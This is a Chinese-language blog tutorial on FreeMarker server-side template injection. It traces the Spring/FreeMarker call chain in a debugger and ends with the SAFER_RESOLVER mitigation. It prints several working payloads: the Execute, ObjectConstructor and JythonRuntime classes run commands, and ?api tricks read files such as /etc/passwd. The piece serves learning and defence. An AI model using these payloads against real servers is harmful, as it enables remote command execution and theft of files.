0%

FreeMarker模板注入

FreeMarker 模板注入

什么是freemarker?

FreeMarker 是一款模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。

模板编写为FreeMarker Template Language (FTL)。它是简单的,专用的语言, 不是 像PHP那样成熟的编程语言。 那就意味着要准备数据在真实编程语言中来显示,比如数据库查询和业务运算, 之后模板显示已经准备好的数据。在模板中,你可以专注于如何展现数据, 而在模板之外可以专注于要展示什么数据。

这种方式通常被称为 MVC (模型 视图 控制器) 模式,对于动态网页来说,是一种特别流行的模式。 它帮助从开发人员(Java 程序员)中分离出网页设计师(HTML设计师)。设计师无需面对模板中的复杂逻辑, 在没有程序员来修改或重新编译代码时,也可以修改页面的样式。

其实FreeMarker的原理就是:模板+数据模型=输出

FreeMarker SSTI 成因与攻击面

我们都知道 SSTI 的攻击面其实是模板引擎的渲染,所以我们要让 Web 服务器将 HTML 语句渲染为模板引擎,前提是要先有 HTML 语句。那么 HTML 如何才能被弄上去呢?这就有关乎我们的攻击面了。

将 HTML 语句放到服务器上有两种方法:

1、文件上传 HTML 文件。

2、若某 CMS 自带有模板编辑功能,这种情况非常多。

FreeMarker 的 SSTI 必须得是获取到 HTML,再把它转换成模板,从而引发漏洞,所以这里要复现,只能把 HTML 语句插入到 .ftl 里面。

环境搭建

参考:https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/Java%20%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/CodeReview/JavaSec-Code/SSTI/

漏洞复现(本地文件:D:\freemaker_ssti)

payload如下:

1
<#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")}

new() 是一个内建的函数,用于创建一个对象的实例。它接受一个类名作为参数,并返回该类的一个新实例。

${...} 是FreeMarker模板中的变量插值语法,它会将表达式的结果作为字符串插入到模板中。

image-20231226121757720

访问hello路由,成功弹出计算器

image-20231226121823098

构造这个payload的原因我们可以去看一下Excute这个类

image-20231227174139571

可以看到有个唯一的方法exec,可以对我们传入的参数进行执行操作

漏洞分析

我们在exec方法下面打上一个断点

image-20231227174512855

根据调用栈进行分析,前面是一些spring的调用,相关的filter链和servelet调用,下一个断点在 org.springframework.web.servlet.view.UrlBasedViewResolver#createView,开始调试

image-20231227175812334

viewname是我们想要访问的路由,由于不满足下方的两个条件,调用父类的createView方法

image-20231227175930174

跟进

image-20231227194910411

调用了loadView方法

image-20231227194947126

继续调用buildView方法

image-20231227195227488

调用父类的buildView方法

image-20231227195339136

该方法的作用为获取FreeMarkerView类,然后利用instantiateClass方法对其进行初始化,紧接着设置相应的模板文件名称属性,并将其加入到map中,随后返回该View类,回到loadView方法,调用了checkResource方法

image-20231227200027793

首先获取了url,也就是我们的模板文件名,接着调用了getTemplate方法,跟进

image-20231227200340667

后续会调用到Configuration类的getTemplate方法

image-20231227200459376

我们跟进到cache.getTemplate方法

image-20231227201131375

首先进行了一些参数的检查,templateNameFormat.normalizeRootBasedName获取文件的相对路径,跟进getTemplateInternal方法

image-20231227201446638

前面是一些基本属性的判断,步入到lookupTemplate方法

image-20231227201805977

接下来的代码IDEA跟不进去,就是获取到View的完整实例

然后从spring的doDispatch处开始分析

image-20231227202120301

会调用到processDispatchResult方法进行模板解析

image-20231227202209989

调用render方法

image-20231227202508578

image-20231227202627789

调用了AbstractView类的render方法

image-20231227202750563

经过一些繁琐的判断,后面会来到doRender下的processTemplate方法

image-20231227203028949

跟进这个getTemplate方法

image-20231227203157459

后面就是我们开始分析的如何获取到View实例的过程,返回processTemplate方法

image-20231227203348393

template即为我们模板文件的内容,调用其process方法

image-20231227203453071

跟进这个environ的process方法

image-20231227203600665

继续跟进这个visit方法

image-20231227204027026

首先将这个element也就是模板文件内容压入一个堆栈,而后按${}对内容进行分割

image-20231227204312466

当循环到第6个属性,也就是Excute类的时候,递归调用visit方法,往后面走,很容易找到这一步

image-20231227204929919

对相关类进行实例化

image-20231227204952954

回到visit,看看calc是如何被传入的

image-20231227205150775

依旧是递归调用,跟进accept方法

image-20231227205323236

跟进这个calculateInterpolatedStringOrMarkup方法,进过一系列调用,回来到这里

image-20231227205738214

调用到targetMethod的exec方法,也就是Excute类的exec方法,并传入了calc参数,成功命令执行

image-20231227205917251

其他poc的探索

我们当前的poc如下:

1
<#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")}

这是因为 FreeMarker 的内置函数 new 导致的,下面我们简单介绍一下 FreeMarker的两个内置函数—— newapi

内置函数 new

可创建任意实现了 TemplateModel接口的 Java 对象,同时还可以触发没有实现 TemplateModel接口的类的静态初始化块。 以下两种常见的FreeMarker模版注入poc就是利用new函数,创建了继承 TemplateModel接口的 freemarker.template.utility.JythonRuntimefreemarker.template.utility.Execute

API

value?api提供对 value 的 API(通常是 Java API)的访问,例如 value?api.someJavaMethod()value?api.someBeanProperty。可通过 getClassLoader获取类加载器从而加载恶意类,或者也可以通过 getResource来实现任意文件读取。 但是,当api_builtin_enabled为 true 时才可使用 api 函数,而该配置在 2.3.22 版本之后默认为 false。

由此我们可以构造出一系列的 bypass PoC

POC1

1
2
3
4
5
6
<#assign classLoader=object?api.class.protectionDomain.classLoader> 
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("Calc"")}

POC2

1
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","Calc").start()}

POC3

1
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc")

POC4

1
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("Calc") }

读取文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<#assign is=object?api.class.getResourceAsStream("/Test.class")>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]

2.3.17版本以后,官方版本提供了三种TemplateClassResolver对类进行解析: 1、UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(className)获取任何类。

2、SAFER_RESOLVER:不能加载 freemarker.template.utility.JythonRuntimefreemarker.template.utility.Executefreemarker.template.utility.ObjectConstructor这三个类。 3、ALLOWS_NOTHING_RESOLVER:不能解析任何类。 可通过freemarker.core.Configurable#setNewBuiltinClassResolver方法设置TemplateClassResolver,从而限制通过new()函数对freemarker.template.utility.JythonRuntimefreemarker.template.utility.Executefreemarker.template.utility.ObjectConstructor这三个类的解析。

FreeMarker SSTI 修复

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package freemarker;

import freemarker.cache.StringTemplateLoader;
import freemarker.core.TemplateClassResolver;
import freemarker.template.Configuration;
import freemarker.template.Template;

import java.io.IOException;
import java.io.OutputStreamWriter;
import java.io.StringWriter;
import java.util.HashMap;

public class freemarker_ssti {
public static void main(String[] args) throws Exception {

//设置模板
HashMap<String, String> map = new HashMap<String, String>();
String poc ="<#assign aaa=\"freemarker.template.utility.Execute\"?new()> ${ aaa(\"open -a Calculator.app\") }";
System.out.println(poc);
StringTemplateLoader stringLoader = new StringTemplateLoader();
Configuration cfg = new Configuration();
stringLoader.putTemplate("name",poc);
cfg.setTemplateLoader(stringLoader);
//cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
//处理解析模板
Template Template_name = cfg.getTemplate("name");
StringWriter stringWriter = new StringWriter();

Template_name.process(Template_name,stringWriter);

}
}